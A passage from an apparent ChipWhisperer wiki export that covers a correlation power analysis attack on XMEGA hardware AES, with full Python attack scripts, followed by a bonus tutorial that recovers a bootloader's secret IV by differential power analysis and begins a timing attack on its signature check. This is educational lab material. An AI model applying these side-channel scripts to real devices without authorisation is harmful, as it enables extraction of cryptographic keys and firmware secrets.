Data: 352 bytes (4.3% Full)<br />
(.data + .bss + .noinit)<br />
<br />
<br />
Built for platform Multi-Target Board, XMEGA Target<br />
<br />
-------- end --------</pre><br />
<br />
Using the XMEGA Programmer, program the XMega16A4 device (it is connected to the programmer built into the ChipWhisperer) with the resulting simpleserial.hex file.<br />
<br />
=== Capturing Traces ===<br />
<br />
==== CW-Capture Lite/Pro Specific Setup ====<br />
<br />
<br />
The following are specific instructions only for the ChipWhisperer-Lite or -Pro:<br />
<br />
# From the Project menu select the Example Scripts and then ChipWhisperer-Lite: AES SimpleSerial on XMEGA<br />
# This should connect to the target board & run a few encryptions. You should check the "Encryption Status Manager" along with viewing the resulting power measurement.<br />
# Jump to the generic instructions (skip the CWC-Rev2 instructions next).<br />
<br />
==== CW-Capture Rev2 Specific Setup ====<br />
<br />
The following are specific instructions only for the ChipWhisperer-Capture Rev 2:<br />
<br />
#From the ''Project'' menu select the ''Example Scripts'' and then ''ChipWhisperer-Rev2: SimpleSerial Target''<br />
#: [[File:runscript.png|image]]<br />
#The script will automatically connect to the capture hardware and run 2 example traces. They will not yet work on the XMega as additional setup is required. You must switch the RX/TX pins:<br />
#:[[File:xmegarxtx.png|image]]<br />
#Run a 'Capture 1', you should confirm the encryption algorithm is working:<br />
#:[[File:capture1_working.png|image]]<br />
#Jump to the generic capture instructions (next)<br />
<br />
==== Trace Capture Instructions ====<br />
<br />
#Switch from software to hardware crypto. To do this you'll have to change the <code>makefile</code> for the project.<br />
#: In the makefile, add a define for <code>HWCRYPTO=1</code>:<br />
<pre>#Multi-Target Board, XMEGA Device<br />
PLATFORM = CW301_XMEGA<br />
#Optional - use hardware crypto<br />
CDEFS += -DHWCRYPTO=1</pre><br />
#Build a new hex-file, and program the file in.<br />
#Run a few 'capture 1' traces, and confirm (using the Encryption Status Manager) that the encryption was successful.<br />
#Finally, set the offset to 1500, and number of samples to only 1000:<br />
#:[[File:slength.png|image]]<br />
#Confirm you now get something like this with a 'capture 1':<br />
#:[[File:capture1_fullworking.png|image]]<br />
<br />
To complete the tutorial, follow these steps:<br />
#Switch to the ''General Settings'' tab<br />
#Change the number of traces to 3000.<br />
#Hit the ''Capture Many'' button (M in a green triangle) to start the capture process.<br />
#You will see each new trace plotted in the waveform display.<br />
#Wait until the capture is complete.<br />
#Finally save this project using the ''File --&gt; Save Project'' option, give it any name you want.<br />
<br />
== Analyzing of Power Traces ==<br />
<br />
As in the [[Tutorial A5 Breaking AES-256 Bootloader]] tutorial, we will be using the Python script file to override the provided HW model. This will allow us to implement the model given by Kizhvatov for performing the CPA attack.<br />
<br />
Remember that when you change settings in the GUI, the system is actually just automatically adjusting the attack script. You could modify the attack script directly instead of changing GUI settings. Every time you touch the GUI the autogenerated script is overwritten however, so it would be easy to lose your changes. As an example here is how setting the point range maps to an API call:<br />
<br />
<blockquote>[[File:autoscript1.png|image]]<br />
</blockquote><br />
We will first automatically configure a script, and then use that as the base for our full attack.<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Open the Analyzer software</li><br />
<li>From the ''File --&gt; Open Project'' option, navigate to the .cwp file containing the capture of the power usage. This can be either the aes128_xmega_hardware.cwp file downloaded, or the capture you performed.</li><br />
<li><p>View the trace data as before, which should look something like this:</p><br />
<p>[[File:traces.png|image]]</p></li><br />
<li>Set the 'Reporting Interval' to 50 or 100. We can change this later through the script.</li><br />
<li><p>We are now ready to insert the custom data into the attack module. On the ''General'' tab, make a copy of the auto-generated script. Do so by clicking on the autogenerated row, hit ''Copy'', save the file somewhere. Double-click on the description of the new file and give it a better name. Finally hit ''Set Active'' after clicking on your new file. The result should look like this:</p><br />
<p>[[File:customscript.png|image]]</p></li><br />
<li><p>You can now edit the custom script file using the built-in editor OR with an external editor. In this example the file would be <code>C:\Users\Colin\AppData\Local\Temp\cw_testilya.py</code>.</p><br />
<blockquote><p>'''warning'''</p><br />
<dl><br />
<dt>The API calling parameters changed a number of times. If using version 0.10 or older, either see the documentation that</dt><br />
<dd><p>is present in the 'doc' directory (which will always correspond to your release), or see Appendix B-2/B-1 for the full attack script.</p></dd></dl><br />
</blockquote><br />
<p>The following defines the required functions to implement, you should refer to the academic paper for details of the correlation model:</p><br />
<pre># Imports<br />
from chipwhisperer.analyzer.attacks.models.AES128_8bit import getHW<br />
<br />
class AESXMega(object):<br />
numSubKeys = 16<br />
<br />
@staticmethod<br />
def leakage(pt, ct, guess, bnum, setting, state):<br />
#In real life would recover this one at a time, in our case we know entire full key, so we cheat to make<br />
#the iterations easier<br />
knownkey = [0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6, 0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c]<br />
<br />
s1 = pt[bnum-1] ^ knownkey[bnum-1]<br />
s2 = pt[bnum] ^ guess<br />
<br />
#We subtract 8 as way measurements are taken a higher current results in a lower voltage. Normally this<br />
#doesn't matter due to use of absolute values. In this attack we do not use absolute mode, so we simply<br />
#&quot;flip&quot; the expected hamming weight, which results in the correlation changing signs.<br />
return 8-getHW(s1 ^ s2)</pre></li><br />
<li>Add the above function to your custom script file.</li><br />
<li><p>Change the <code>setAnalysisAlgorithm</code> to use your custom functions by making the following call, see the full script in the Appendix:</p><br />
<pre>self.attack.setAnalysisAlgorithm(CPAProgressive,AESXMega,None)</pre></li><br />
<li><p>Adjust the attack bytes to ''NOT'' attack the first byte, as our hacked script will not work with it:</p><br />
<pre>self.attack.setTargetBytes([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15])</pre></li><br />
<li><p>We want to disable 'absolute mode', where by default the absolute value of the CPA attack is taken. We can do this by adding a call to self.attack.setAbsoluteMode(False) before the return statement, for example:</p><br />
<pre>self.attack.setPointRange((0,996))<br />
self.attack.setAbsoluteMode(False)<br />
</pre></li><br />
<li><p>Run ''Start Attack'' as before! Wait for the attack to complete, which should show the key (except for the first byte) being recovered:</p><br />
<p>[[File:analysisrunning.png|image]]</p></li><br />
<li><p>At this point you can also look at the output values, which one can compare to the shape of the values published in the paper:</p><br />
<p>[[File:results_output.png|image]]</p><br />
<p>For more detailed plotting, turn off the 'Fast Draw' option:</p><br />
<p>[[File:fastdraw.png|image]]</p><br />
<p>You can also use the 'GUI Override' on the byte highlighting to change the highlighted byte.</p></li></ol><br />
<br />
== Appendix A: Full Attack Script for Current Release ==<br />
<br />
<pre><br />
# Based on Ilya Kizhvatov's work, published as &quot;Side Channel Analysis of AVR XMEGA Crypto Engine&quot;<br />
from chipwhisperer.common.api.CWCoreAPI import CWCoreAPI<br />
from chipwhisperer.common.scripts.base import UserScriptBase<br />
# Imports from Preprocessing<br />
import chipwhisperer.analyzer.preprocessing as preprocessing<br />
# Imports from Attack<br />
from chipwhisperer.analyzer.attacks.cpa import CPA<br />
from chipwhisperer.analyzer.attacks.cpa_algorithms.progressive import CPAProgressive<br />
import chipwhisperer.analyzer.attacks.models.AES128_8bit<br />
# Imports from utilList<br />
from chipwhisperer.analyzer.attacks.models.AES128_8bit import getHW<br />
<br />
class AESXMega(object):<br />
numSubKeys = 16<br />
<br />
@staticmethod<br />
def leakage(pt, ct, guess, bnum, setting, state):<br />
#In real life would recover this one at a time, in our case we know entire full key, so we cheat to make<br />
#the iterations easier<br />
knownkey = [0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6, 0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c]<br />
<br />
s1 = pt[bnum-1] ^ knownkey[bnum-1]<br />
s2 = pt[bnum] ^ guess<br />
<br />
#We subtract 8 as way measurements are taken a higher current results in a lower voltage. Normally this<br />
#doesn't matter due to use of absolute values. In this attack we do not use absolute mode, so we simply<br />
#"flip" the expected hamming weight, which results in the correlation changing signs.<br />
return 8-getHW(s1 ^ s2)<br />
<br />
class UserScript(UserScriptBase):<br />
name = "Auto-generated"<br />
description = "Auto-generated Attack Script"<br />
def __init__(self, api):<br />
UserScriptBase.__init__(self, api)<br />
self.initProject()<br />
self.initPreprocessing()<br />
self.initAnalysis()<br />
self.initReporting()<br />
<br />
def initProject(self):<br />
pass<br />
<br />
def initPreprocessing(self):<br />
self.traces = self.api.project().traceManager()<br />
<br />
def initAnalysis(self):<br />
self.attack = CPA()<br />
self.attack.setTraceSource(self.traces, blockSignal=True)<br />
self.attack.setAnalysisAlgorithm(CPAProgressive,AESXMega,None)<br />
self.attack.setTraceStart(0)<br />
self.attack.setTracesPerAttack(3000)<br />
self.attack.setIterations(1)<br />
self.attack.setReportingInterval(50)<br />
self.attack.setTargetBytes([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15])<br />
self.attack.setPointRange((0,995))<br />
self.attack.setAbsoluteMode(False)<br />
<br />
def initReporting(self):<br />
# Configures the attack observers (usually a set of GUI widgets)<br />
self.api.getResults("Attack Settings").setAnalysisSource(self.attack)<br />
self.api.getResults("Correlation vs Traces in Attack").setAnalysisSource(self.attack)<br />
self.api.getResults("Output vs Point Plot").setAnalysisSource(self.attack)<br />
self.api.getResults("PGE vs Trace Plot").setAnalysisSource(self.attack)<br />
self.api.getResults("Results Table").setAnalysisSource(self.attack)<br />
self.api.getResults("Save to Files").setAnalysisSource(self.attack)<br />
self.api.getResults("Trace Output Plot").setTraceSource(self.traces)<br />
self.api.getResults("Trace Recorder").setTraceSource(self.traces)<br />
<br />
def run(self):<br />
self.attack.processTraces()<br />
<br />
if __name__ == '__main__':<br />
import chipwhisperer.analyzer.ui.CWAnalyzerGUI as cwa<br />
from chipwhisperer.common.utils.parameter import Parameter<br />
Parameter.usePyQtGraph = True # Comment if you don't need the GUI<br />
api = CWCoreAPI() # Instantiate the API<br />
app = cwa.makeApplication("Analyzer") # Comment if you don't need the GUI<br />
gui = cwa.CWAnalyzerGUI(api) # Comment if you don't need the GUI<br />
gui.show() # Comment if you don't need the GUI<br />
api.runScriptClass(UserScript) # Run UserScript through the API<br />
app.exec_() # Comment if you don't need the GUI<br />
</pre><br />
<br />
== Appendix B-1: Full Attack Script for older (< 3.1.x) ==<br />
<br />
Here is the full attack script for older releases - '''DO NOT attempt to use with a current release (3.1.8 or later)'''.<br />
<br />
<pre># Based on Ilya Kizhvatov's work, published as &quot;Side Channel Analysis of AVR XMEGA Crypto Engine&quot;<br />
from chipwhisperer.common.autoscript import AutoScriptBase<br />
#Imports from Preprocessing<br />
import chipwhisperer.analyzer.preprocessing as preprocessing<br />
#Imports from Capture<br />
from chipwhisperer.analyzer.attacks.CPA import CPA<br />
from chipwhisperer.analyzer.attacks.CPAProgressive import CPAProgressive<br />
import chipwhisperer.analyzer.attacks.models.AES128_8bit<br />
# Imports<br />
from chipwhisperer.analyzer.attacks.models.AES128_8bit import getHW<br />
<br />
class AESXMega(object):<br />
numSubKeys = 16<br />
<br />
@staticmethod<br />
def leakage(pt, ct, guess, bnum, setting, state):<br />
#In real life would recover this one at a time, in our case we know entire full key, so we cheat to make<br />
#the iterations easier<br />
knownkey = [0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6, 0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c]<br />
<br />
s1 = pt[bnum-1] ^ knownkey[bnum-1]<br />
s2 = pt[bnum] ^ guess<br />
<br />
#We subtract 8 as way measurements are taken a higher current results in a lower voltage. Normally this<br />
#doesn't matter due to use of absolute values. In this attack we do not use absolute mode, so we simply<br />
#&quot;flip&quot; the expected hamming weight, which results in the correlation changing signs.<br />
return 8-getHW(s1 ^ s2)<br />
<br />
class userScript(AutoScriptBase):<br />
preProcessingList = []<br />
def initProject(self):<br />
pass<br />
<br />
def initPreprocessing(self):<br />
self.preProcessingList = []<br />
return self.preProcessingList<br />
<br />
def initAnalysis(self):<br />
self.attack = CPA(self.parent, console=self.console, showScriptParameter=self.showScriptParameter)<br />
self.attack.setAnalysisAlgorithm(CPAProgressive,AESXMega,None)<br />
self.attack.setTraceStart(0)<br />
self.attack.setTracesPerAttack(2999)<br />
self.attack.setIterations(1)<br />
self.attack.setReportingInterval(500)<br />
self.attack.setTargetBytes([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15])<br />
self.attack.setTraceManager(self.traceManager())<br />
self.attack.setProject(self.project())<br />
self.attack.setPointRange((0,996))<br />
return self.attack<br />
<br />
def initReporting(self, results):<br />
results.setAttack(self.attack)<br />
results.setTraceManager(self.traceManager())<br />
self.results = results<br />
<br />
def doAnalysis(self):<br />
self.attack.doAttack()</pre><br />
<br />
== Appendix B-2: Full Attack Script for 0.09 or Older Releases ==<br />
<br />
Here is the full attack script for VERY old releases:<br />
<br />
<pre># Based on Ilya Kizhvatov's work, published as &quot;Side Channel Analysis of AVR XMEGA Crypto Engine&quot;<br />
from chipwhisperer.common.autoscript import AutoScriptBase<br />
#Imports from Preprocessing<br />
import chipwhisperer.analyzer.preprocessing as preprocessing<br />
#Imports from Capture<br />
from chipwhisperer.analyzer.attacks.CPA import CPA<br />
from chipwhisperer.analyzer.attacks.CPAProgressive import CPAProgressive<br />
import chipwhisperer.analyzer.attacks.models.AES128_8bit<br />
#Imports from utilList<br />
<br />
# Imports<br />
from chipwhisperer.analyzer.attacks.models.AES128_8bit import getHW<br />
<br />
def AES128_HD_ILYA(pt, ct, key, bnum):<br />
&quot;&quot;&quot;Given either plaintext or ciphertext (not both) + a key guess, return hypothetical hamming weight of result&quot;&quot;&quot;<br />
<br />
#In real life would recover this one at a time, in our case we know entire full key, so we cheat to make<br />
#the iterations easier<br />
knownkey = [0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6, 0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c]<br />
<br />
if pt != None:<br />
s1 = pt[bnum-1] ^ knownkey[bnum-1]<br />
s2 = pt[bnum] ^ key<br />
<br />
#We subtract 8 as way measurements are taken a higher current results in a lower voltage. Normally this<br />
#doesn't matter due to use of absolute values. In this attack we do not use absolute mode, so we simply<br />
#&quot;flip&quot; the expected hamming weight, which results in the correlation changing signs.<br />
<br />
return 8-getHW(s1 ^ s2)<br />
<br />
elif ct != None:<br />
raise ValueError(&quot;Only setup for encryption attacks&quot;)<br />
else:<br />
raise ValueError(&quot;Must specify PT or CT&quot;)<br />
<br />
class userScript(AutoScriptBase):<br />
preProcessingList = []<br />
def initProject(self):<br />
pass<br />
<br />
def initPreprocessing(self):<br />
self.preProcessingList = []<br />
return self.preProcessingList<br />
<br />
def initAnalysis(self):<br />
self.attack = CPA(self.parent, console=self.console, showScriptParameter=self.showScriptParameter)<br />
self.attack.setAnalysisAlgorithm(CPAProgressive,chipwhisperer.analyzer.attacks.models.AES128_8bit,AES128_HD_ILYA)<br />
self.attack.setTraceStart(0)<br />
self.attack.setTracesPerAttack(2999)<br />
self.attack.setIterations(1)<br />
self.attack.setReportingInterval(50)<br />
self.attack.setTargetBytes([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15])<br />
self.attack.setKeyround(0)<br />
self.attack.setDirection('enc')<br />
self.attack.setTraceManager(self.traceManager())<br />
self.attack.setProject(self.project())<br />
self.attack.setPointRange((0,996))<br />
self.attack.setAbsoluteMode(False)<br />
return self.attack<br />
<br />
def initReporting(self, results):<br />
results.setAttack(self.attack)<br />
results.setTraceManager(self.traceManager())<br />
self.results = results<br />
<br />
def doAnalysis(self):<br />
self.attack.doAttack()</pre><br />
<br />
== Disclaimers ==<br />
<br />
Atmel and XMEGA are registered trademarks or trademarks of Atmel Corporation or its subsidiaries, in the US and/or other countries.<br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_A5-Bonus_Breaking_AES-256_Bootloader&diff=3498Tutorial A5-Bonus Breaking AES-256 Bootloader2018-05-01T18:50:15Z<p>Fheubach: </p>
<hr />
<div>This tutorial is an add-on to [[Tutorial A5 Breaking AES-256 Bootloader]]. It continues working on the same firmware, showing how to obtain the hidden IV and signature in the bootloader. '''It is not possible to do this bonus tutorial without first completing the regular tutorial''', so please finish Tutorial A5 first.<br />
<br />
== Exploring the Bootloader ==<br />
In this tutorial, we have the luxury of seeing the source code of the bootloader. This is generally not something we would have access to in the real world, so we'll try not to use it to cheat. (Peeking at <code>supersecret.h</code> counts as cheating.) Instead, we'll use the source to help us identify important parts of the power traces.<br />
<br />
=== Bootloader Source Code ===<br />
Inside the bootloader's main loop, it does three tasks that we're interested in:<br />
* it decrypts the incoming ciphertext;<br />
* it applies the IV to the decryption's result; and<br />
* it checks for the signature in the resulting plaintext.<br />
This snippet from <code>bootloader.c</code> shows all three of these tasks:<br />
<br />
<pre><br />
// Continue with decryption<br />
trigger_high(); <br />
aes256_decrypt_ecb(&ctx, tmp32);<br />
trigger_low();<br />
<br />
// Apply IV (first 16 bytes)<br />
for (i = 0; i < 16; i++){<br />
tmp32[i] ^= iv[i];<br />
}<br />
<br />
//Save IV for next time from original ciphertext <br />
for (i = 0; i < 16; i++){<br />
iv[i] = tmp32[i+16];<br />
}<br />
<br />
// Tell the user that the CRC check was okay<br />
putch(COMM_OK);<br />
putch(COMM_OK);<br />
<br />
//Check the signature<br />
if ((tmp32[0] == SIGNATURE1) &&<br />
(tmp32[1] == SIGNATURE2) &&<br />
(tmp32[2] == SIGNATURE3) &&<br />
(tmp32[3] == SIGNATURE4)){<br />
<br />
// Delay to emulate a write to flash memory<br />
_delay_ms(1);<br />
} <br />
</pre><br />
This gives us a pretty good idea of how the microcontroller is going to do its job. However, we can go one step further and find the exact assembly code that the target will execute. If you have Atmel Studio and its toolchain on your computer, you can get the assembly file from the command line with<br />
<pre><br />
avr-objdump -m avr -D bootloader.hex > disassembly.txt<br />
</pre><br />
This will convert the hex file into assembly code, making it more human-readable. The important part of this assembly code is:<br />
<pre><br />
344: d3 01 movw r26, r6<br />
346: 93 01 movw r18, r6<br />
348: f6 01 movw r30, r12<br />
34a: 80 81 ld r24, Z<br />
34c: f9 01 movw r30, r18<br />
34e: 91 91 ld r25, Z+<br />
350: 9f 01 movw r18, r30<br />
352: 89 27 eor r24, r25<br />
354: f6 01 movw r30, r12<br />
356: 81 93 st Z+, r24<br />
358: 6f 01 movw r12, r30<br />
35a: ee 15 cp r30, r14<br />
35c: ff 05 cpc r31, r15<br />
35e: a1 f7 brne .-24 ; 0x348<br />
<br />
360: fe 01 movw r30, r28<br />
362: b1 96 adiw r30, 0x21 ; 33<br />
364: 81 91 ld r24, Z+<br />
366: 8d 93 st X+, r24<br />
368: e4 15 cp r30, r4<br />
36a: f5 05 cpc r31, r5<br />
36c: d9 f7 brne .-10 ; 0x364<br />
<br />
36e: 84 ea ldi r24, 0xA4 ; 164<br />
370: 0e 94 16 02 call 0x42c ; 0x42c<br />
374: 84 ea ldi r24, 0xA4 ; 164<br />
376: 0e 94 16 02 call 0x42c ; 0x42c<br />
<br />
37a: 89 89 ldd r24, Y+17 ; 0x11<br />
37c: 88 23 and r24, r24<br />
37e: 09 f0 breq .+2 ; 0x382<br />
380: 98 cf rjmp .-208 ; 0x2b2<br />
<br />
382: 8a 89 ldd r24, Y+18 ; 0x12<br />
384: 8b 3e cpi r24, 0xEB ; 235<br />
386: 09 f0 breq .+2 ; 0x38a<br />
388: 94 cf rjmp .-216 ; 0x2b2<br />
<br />
38a: 8b 89 ldd r24, Y+19 ; 0x13<br />
38c: 82 30 cpi r24, 0x02 ; 2<br />
38e: 09 f0 breq .+2 ; 0x392<br />
390: 90 cf rjmp .-224 ; 0x2b2<br />
<br />
392: 8c 89 ldd r24, Y+20 ; 0x14<br />
394: 8d 31 cpi r24, 0x1D ; 29<br />
396: 09 f0 breq .+2 ; 0x39a<br />
398: 8c cf rjmp .-232 ; 0x2b2<br />
<br />
39a: 83 e3 ldi r24, 0x33 ; 51<br />
39c: 97 e0 ldi r25, 0x07 ; 7<br />
39e: 01 97 sbiw r24, 0x01 ; 1<br />
3a0: f1 f7 brne .-4 ; 0x39e<br />
3a2: 87 cf rjmp .-242 ; 0x2b2<br />
</pre><br />
<br />
We'll use both of the source files throughout the tutorial.<br />
<br />
=== Power Traces ===<br />
After the bootloader is finished the decryption process, it executes a couple of distinct pieces of code:<br />
* To apply the IV, it uses an XOR operation;<br />
* To store the new IV, it copies the previous ciphertext into the IV array;<br />
* It sends two bytes on the serial port;<br />
* It checks the bytes of the signature one by one.<br />
We should be able to recognize these four parts of the code in the power traces. Let's modify our capture routine to find them.<br />
<br />
Re-run the capture script and change a few settings:<br />
<ol><br />
<li> We'd like to skip over all of the decryption process. The source code around this point is:<br />
<pre><br />
trigger_high(); <br />
aes256_decrypt_ecb(&ctx, tmp32); /* encrypting the data block */<br />
trigger_low();<br />
</pre><br />
so we can skip straight over the AES-256 function by triggering on a falling edge instead of a rising edge. Change this in the scope settings.<br />
<li> We don't need as many samples now. Change the number of samples to 3000.<br />
<li> If we decrypt multiple ciphertexts in a row, only the first one will use the secret IV - all of the others will use the previous ciphertext instead. To avoid this, we'll have to automatically reset the board.<br />
<ol><br />
<li> In the ''General Settings'' tab, change the Auxiliary Module to ''Reset AVR/XMEGA via CW-Lite''.<br />
<li> In the ''Aux Settings'' tab, change both delays to around 100 ms.<br />
</ol><br />
<li> Capture one trace and make sure that everything works.<br />
</ol><br />
If everything worked out, you should be able to see all of the code's features:<br />
<br />
[[File:Tutorial-A5-Bonus-Trace-Notes.PNG]]<br />
<br />
With all of these things clearly visible, we have a pretty good idea of how to attack the IV and the signature. We should be able to look at each of the XOR spikes to find each of the IV bytes - each byte is processed on its own. Then, the signature check uses a short-circuiting comparison: as soon as it finds a byte in error, it stops checking the remaining bytes. This type of check is susceptible to a timing attack.<br />
<br />
Let's grab a lot of traces so that we don't have to come back later. Save the project somewhere memorable, set up the capture routine to record 1000 traces, hit ''Capture Many'', and grab a coffee.<br />
<br />
== Attacking the IV ==<br />
We need to find the IV before we can look at the signature, so the first half of the attack will look at the IV bytes.<br />
<br />
=== Attack Theory ===<br />
The bootloader applies the IV to the AES decryption result by calculating<br />
<br />
<math><br />
\text{PT} = \text{DR} \oplus \text{IV}<br />
</math><br />
<br />
where DR is the decrypted ciphertext, IV is the secret vector, and PT is the plaintext that the bootloader will use later. We only have access to one of these: since we know the AES-256 key, we can calculate DR.<br />
<br />
Specifically, the assembly code to calculate the plaintext is the loop<br />
<pre><br />
344: d3 01 movw r26, r6<br />
346: 93 01 movw r18, r6<br />
348: f6 01 movw r30, r12<br />
34a: 80 81 ld r24, Z<br />
34c: f9 01 movw r30, r18<br />
34e: 91 91 ld r25, Z+<br />
350: 9f 01 movw r18, r30<br />
352: 89 27 eor r24, r25<br />
354: f6 01 movw r30, r12<br />
356: 81 93 st Z+, r24<br />
358: 6f 01 movw r12, r30<br />
35a: ee 15 cp r30, r14<br />
35c: ff 05 cpc r31, r15<br />
35e: a1 f7 brne .-24 ; 0x348<br />
</pre><br />
This code includes two <code>ld</code> instructions, one <code>eor</code>, and one <code>st</code>: the DR and IV are loaded and XORed to get PT, which is then stored back where DR was. All of these instructions should be visible in the power traces.<br />
<br />
This is enough information for us to attack a single bit of the IV. Suppose we only wanted to get the first bit (number 0) of the IV. We could do the following:<br />
* Split all of the traces into two groups: those with DR[0] = 0, and those with DR[0] = 1.<br />
* Calculate the average trace for both groups.<br />
* Find the difference between the two averages. It should include a noticeable spike during the first iteration of the loop.<br />
* Look at the direction of the spike to decide if the IV bit is 0 (<code>PT[0] = DR[0]</code>) or if the IV bit is 1 (<code>PT[0] = ~DR[0]</code>).<br />
This is effectively a DPA attack on a single bit of the IV. We can repeat this attack 128 times to recover the entire IV.<br />
<br />
=== A 1-Bit Attack ===<br />
Unfortunately, we can't use the ChipWhisperer Analyzer to attack this XOR function. Instead, we'll write our own Python code. One thing that we ''don't'' need to do is write our own AES-256 implementation: there's some perfectly fine code in the PyCrypto library. [https://pypi.python.org/pypi/pycrypto Install PyCrypto] and make sure you can use its functions:<br />
<pre><br />
python<br />
Python 2.7.10 (default, May 23 2015, 09:40:32) [MSC v.1500 32 bit (Intel)] on win32<br />
Type "help", "copyright", "credits" or "license" for more information.<br />
>>> from Crypto.Cipher import AES<br />
>>> AES<br />
<module 'Crypto.Cipher.AES' from 'C:\WinPython-32bit-2.7.10.3\python-2.7.10\lib\site-packages\Crypto\Cipher\AES.pyc'><br />
</pre><br />
<br />
Next, open a new Python script wherever you like and load your data that you recorded earlier. You might want to rename the files to make them easier to work with. It'll also be helpful to know how many traces we have and how long they are:<br />
<br />
<pre><br />
# Load data<br />
import numpy as np<br />
<br />
traces = np.load(r'traces\traces.npy')<br />
textin = np.load(r'traces\textin.npy')<br />
numTraces = len(traces)<br />
traceLen = len(traces[0])<br />
<br />
print numTraces<br />
print traceLen<br />
</pre><br />
<br />
It's also a good idea to plot some traces and make sure they look okay:<br />
<br />
<pre><br />
# Plot some traces <br />
import matplotlib.pyplot as plt<br />
for i in range(10):<br />
plt.plot(traces[i])<br />
plt.show()<br />
</pre><br />
<br />
Since we know the AES-256 key, we can decrypt all of this data and store it in a list of decryption results:<br />
<br />
<pre><br />
# Decrypt ciphertext with the key that we now know<br />
from Crypto.Cipher import AES<br />
knownkey = [0x94, 0x28, 0x5D, 0x4D, 0x6D, 0xCF, 0xEC, 0x08, 0xD8, 0xAC, 0xDD, 0xF6, 0xBE, 0x25, 0xA4, 0x99,<br />
0xC4, 0xD9, 0xD0, 0x1E, 0xC3, 0x40, 0x7E, 0xD7, 0xD5, 0x28, 0xD4, 0x09, 0xE9, 0xF0, 0x88, 0xA1]<br />
knownkey = str(bytearray(knownkey))<br />
dr = []<br />
aes = AES.new(knownkey, AES.MODE_ECB)<br />
for i in range(numTraces):<br />
ct = str(bytearray(textin[i]))<br />
pt = aes.decrypt(ct)<br />
d = [bytearray(pt)[i] for i in range(16)]<br />
dr.append(d)<br />
print dr<br />
</pre><br />
<br />
That's a lot of data to print! Now, let's split the traces into two groups by comparing bit 0 of the DR:<br />
<br />
<pre><br />
# Split traces into 2 groups<br />
groupedTraces = [[] for _ in range(2)]<br />
for i in range(numTraces):<br />
bit0 = dr[i][0] & 0x01<br />
groupedTraces[bit0].append(traces[i])<br />
print len(groupedTraces[0])<br />
</pre><br />
<br />
If you have 1000 traces, you should expect this to print a number around 500 - roughly half of the traces should fit into each group. Now, NumPy's <code>average</code> function lets us easily calculate the average at each point:<br />
<br />
<pre><br />
# Find averages and differences<br />
means = []<br />
for i in range(2):<br />
means.append(np.average(groupedTraces[i], axis=0))<br />
diff = means[1] - means[0]<br />
</pre><br />
<br />
Finally, we can plot this difference to see if we can spot the IV:<br />
<br />
<pre><br />
plt.plot(diff)<br />
plt.grid()<br />
plt.show()<br />
</pre><br />
<br />
This makes a plot with some pretty obvious spikes:<br />
<br />
[[File:Tutorial-A5-Bonus-Diff-0.PNG]]<br />
<br />
However, one of these spikes is meaningless to us. The spike around sample 1600 is caused by the signature check, which we aren't attacking yet. You can get a better feel for this by plotting an overlay of the power trace itself:<br />
<br />
<pre><br />
plt.hold(True)<br />
plt.plot(traces[0], 'r')<br />
plt.plot(diff, 'b')<br />
<br />
plt.grid()<br />
plt.show()<br />
</pre><br />
<br />
You can notice the input data is often "pegging" to the 0.5 limit, indicating that spike may be caused by data overload! At any rate, it's clear the actual XOR is occurring where the group of 16 identical operations happens.<br />
<br />
Let's ignore this large peak and zoom in on the smaller spikes at the start of the trace: <br />
<br />
[[File:A5-Bonus-Diff-0-Zoom.PNG]]<br />
<br />
This is it! We've got a pretty clear signal telling us where the decryption result is used. You can make sure this isn't a coincidence by using the second byte instead:<br />
<br />
[[File:Tutorial-A5-Bonus-Diff-1.PNG]]<br />
<br />
These peaks are about 60 samples later (or 15 cycles, since we're using an ADC clock that's 4 times faster than the microcontroller). Also, most of these peaks are upside down! This is a pretty clear indicator that we can find the IV bits from these differential traces. The only thing that we can't tell is the polarity of these signals; there's no way to tell if right-side-up peaks indicate a bit that's set or cleared. However, that means we can narrow down the IV to two possibilities, which is a lot better than <math>2^{128}</math>.<br />
<br />
=== The Other 127 ===<br />
The best way to attack the IV would be to repeat the 1-bit conceptual attack for each of the bits. Try to do this yourself! (Really!) If you're stuck, here are a few hints to get you going:<br />
* One easy way of looping through the bits is by using two nested loops, like this:<br />
<pre><br />
for byte in range(16):<br />
for bit in range(8):<br />
# Attack bit number (byte*8 + bit)<br />
</pre><br />
* The sample that you'll want to look at will depend on which byte you're attacking. We had success when we used <code>location = 51 + byte*60</code>, but your mileage will vary.<br />
* The bitshift operator and the bitwise-AND operator are useful for getting at a single bit:<br />
<pre><br />
# This will either result in a 0 or a 1<br />
checkIfBitSet = (byteToCheck >> bit) & 0x01<br />
</pre><br />
If you're ''really, really'' stuck, there's a working attack in [[#Appendix A: IV Attack Script]]. You should find that the secret IV is <code>C1 25 68 DF E7 D3 19 DA 10 E2 41 71 33 B0 EB 3C</code>.<br />
<br />
== Attacking the Signature ==<br />
The last thing we can do with this bootloader is attack the signature. This final section will show how one byte of the signature could be recovered. If you want more of this kind of analysis, a more complete timing attack is shown in [[Tutorial B3-1 Timing Analysis with Power for Password Bypass]].<br />
<br />
=== Attack Theory ===<br />
Recall from earlier that the signature check in C looks like:<br />
<br />
<pre><br />
if ((tmp32[0] == SIGNATURE1) &&<br />
(tmp32[1] == SIGNATURE2) &&<br />
(tmp32[2] == SIGNATURE3) &&<br />
(tmp32[3] == SIGNATURE4)){<br />
</pre><br />
or, in assembly,<br />
<pre><br />
37a: 89 89 ldd r24, Y+17 ; 0x11<br />
37c: 88 23 and r24, r24<br />
37e: 09 f0 breq .+2 ; 0x382<br />
